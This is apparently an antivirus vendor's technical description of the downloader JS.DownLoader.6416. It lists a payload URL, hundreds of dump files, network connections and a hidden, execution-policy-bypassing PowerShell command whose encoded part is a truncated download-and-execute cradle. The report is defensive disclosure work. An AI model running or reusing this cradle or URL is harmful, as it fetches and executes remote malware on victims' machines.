JS.DownLoader.6416

Technical Information

Malicious functions

Downloads

https://erzurum.us/65376345273497600381/tjtyjrjywrdmjoaaenvf/dll/assistant.php

Modifies file system

Creates the following files

%TEMP%\content\1392-3168-wscript.exe-19-49-52-687.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-062.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-009.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-932.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-921.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-910.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-896.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-887.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-870.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-084.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-862.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-829.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-818.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-802.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-793.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-766.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-754.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-735.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-717.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-839.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-147.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-163.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-174.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-621.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-600.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-457.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-438.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-408.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-375.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-332.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-236.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-982.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-712.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-612.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-544.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-425.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-370.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-303.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-281.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-229.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-209.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-59-197.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-706.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-525.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-693.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-657.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-931.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-920.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-898.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-880.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-855.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-840.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-805.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-780.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-941.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-760.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-709.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-680.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-667.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-646.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-638.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-624.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-602.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-578.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-745.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-965.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-991.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-041.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-646.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-636.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-621.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-600.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-582.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-560.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-541.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-522.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-496.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-483.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-445.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-434.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-414.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-394.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-371.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-303.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-240.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-215.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-116.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-58-678.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-540.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-698.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-022.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-837.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-801.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-781.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-766.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-733.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-682.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-662.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-552.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-894.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-869.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-412.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-379.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-360.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-343.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-282.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-265.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-249.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-204.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-500.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-193.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-899.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-839.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-781.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-706.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-658.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-563.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-545.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-516.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-492.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-371.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-310.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-285.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-259.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-209.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-195.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-170.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-134.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-114.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-081.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-039.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-183.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-429.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-751.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-707.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-112.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-116.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-497.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-397.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-376.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-353.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-337.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-257.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-232.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-653.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-573.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-594.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-912.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-872.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-847.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-811.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-810.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-789.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-778.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-00-988.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-703.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-093.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-141.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-553.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-080.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-058.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-042.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-022.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-005.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-983.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-972.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-953.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-934.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-911.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-890.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-871.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-853.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-823.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-801.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-777.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-762.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-01-741.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-166.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-493.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-391.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-356.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-205.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-186.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-173.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-154.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-144.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-125.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-113.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-230.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-105.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-073.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-054.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-042.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-029.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-006.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-996.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-984.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-963.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-076.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-251.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-262.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-283.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-662.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-635.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-626.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-596.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-575.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-543.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-525.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-502.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-472.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-466.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-432.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-419.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-400.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-384.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-376.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-354.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-340.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-317.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-306.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-953.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-674.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-941.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-911.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-326.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-141.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-070.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-033.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-997.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-981.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-962.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-904.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-345.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-874.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-838.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-818.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-798.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-776.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-766.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-746.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-723.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-715.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-52-844.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-373.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-384.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-424.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-900.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-884.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-873.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-850.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-833.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-812.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-770.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-757.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-727.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-635.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-617.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-581.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-559.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-544.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-525.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-502.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-485.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-457.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-446.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-53-921.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-695.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-218.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-706.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-366.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-162.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-334.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-314.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-297.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-276.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-258.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-221.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-178.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-491.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-449.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-470.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-115.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-975.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-964.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-941.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-920.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-902.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-891.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-132.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-509.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-337.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-870.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-734.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-320.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-298.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-272.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-233.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-148.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-57-058.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-971.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-866.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-782.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-738.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-718.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-694.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-674.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-645.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-610.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-585.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-545.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-533.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-56-146.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-850.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-668.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-731.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-918.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-086.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-059.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-048.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-022.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-998.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-990.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-962.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-949.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-899.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-150.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-874.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-862.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-830.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-816.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-804.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-794.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-777.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-54-755.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-861.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-02-925.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-172.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-238.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-087.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-647.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-637.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-595.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-571.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-559.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-541.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-521.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-517.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-487.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-472.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-436.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-424.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-403.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-392.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-364.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-334.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-290.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-277.dump
%TEMP%\content\1392-3168-wscript.exe-19-49-55-216.dump
%TEMP%\content\1392-3168-wscript.exe-19-50-03-916.dump

Network activity

Connects to

'er##rum.us':443

UDP

DNS ASK er##rum.us

Miscellaneous

Creates and executes the following

'<SYSTEM32>\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBl...' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBl...

Технологии

Термины

Обучение и просвещение

Мифы

Technical Information

Рекомендации по лечению

Демо бесплатно на 14 дней